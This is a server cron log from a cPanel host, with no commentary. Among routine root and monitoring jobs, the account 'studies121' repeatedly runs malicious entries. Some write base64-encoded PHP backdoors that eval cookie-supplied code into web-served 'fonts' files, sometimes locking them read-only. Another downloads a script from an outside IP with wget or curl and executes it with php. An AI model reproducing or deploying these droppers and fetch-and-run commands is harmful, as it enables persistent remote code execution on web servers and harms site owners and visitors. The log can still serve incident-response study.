Aug 31 19:32:01 ip-184-168-122-23 CROND[18322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:32:01 ip-184-168-122-23 CROND[18325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:32:01 ip-184-168-122-23 CROND[18323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:32:01 ip-184-168-122-23 CROND[18324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:33:01 ip-184-168-122-23 CROND[18407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:33:01 ip-184-168-122-23 CROND[18408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:33:01 ip-184-168-122-23 CROND[18409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:33:01 ip-184-168-122-23 CROND[18412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:34:01 ip-184-168-122-23 CROND[18575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:34:01 ip-184-168-122-23 CROND[18578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:34:01 ip-184-168-122-23 CROND[18580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:34:01 ip-184-168-122-23 CROND[18579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:34:01 ip-184-168-122-23 CROND[18581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18686]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:35:02 ip-184-168-122-23 CROND[18687]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:35:02 ip-184-168-122-23 CROND[18693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:36:01 ip-184-168-122-23 CROND[18782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:36:01 ip-184-168-122-23 CROND[18783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:36:01 ip-184-168-122-23 CROND[18784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:36:01 ip-184-168-122-23 CROND[18788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:36:01 ip-184-168-122-23 CROND[18789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:37:02 ip-184-168-122-23 CROND[18869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:37:02 ip-184-168-122-23 CROND[18871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:37:02 ip-184-168-122-23 CROND[18873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:37:02 ip-184-168-122-23 CROND[18874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:38:01 ip-184-168-122-23 CROND[18959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:38:01 ip-184-168-122-23 CROND[18961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:38:01 ip-184-168-122-23 CROND[18963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:38:01 ip-184-168-122-23 CROND[18964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:38:01 ip-184-168-122-23 CROND[18962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:39:01 ip-184-168-122-23 CROND[19047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:39:01 ip-184-168-122-23 CROND[19050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:39:01 ip-184-168-122-23 CROND[19052]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 19:39:01 ip-184-168-122-23 CROND[19054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:39:01 ip-184-168-122-23 CROND[19056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:40:01 ip-184-168-122-23 CROND[19132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:40:01 ip-184-168-122-23 CROND[19139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:40:01 ip-184-168-122-23 CROND[19140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:40:01 ip-184-168-122-23 CROND[19141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:40:01 ip-184-168-122-23 CROND[19144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:40:01 ip-184-168-122-23 CROND[19146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:40:01 ip-184-168-122-23 CROND[19147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:40:01 ip-184-168-122-23 CROND[19149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:41:01 ip-184-168-122-23 CROND[19239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:41:01 ip-184-168-122-23 CROND[19240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:41:01 ip-184-168-122-23 CROND[19241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:41:01 ip-184-168-122-23 CROND[19242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:42:01 ip-184-168-122-23 CROND[19424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:42:01 ip-184-168-122-23 CROND[19426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:42:01 ip-184-168-122-23 CROND[19427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:42:01 ip-184-168-122-23 CROND[19428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:42:01 ip-184-168-122-23 CROND[19429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:43:01 ip-184-168-122-23 CROND[19506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:43:01 ip-184-168-122-23 CROND[19507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:43:01 ip-184-168-122-23 CROND[19509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:43:01 ip-184-168-122-23 CROND[19510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:44:01 ip-184-168-122-23 CROND[19586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:44:01 ip-184-168-122-23 CROND[19588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:44:01 ip-184-168-122-23 CROND[19589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
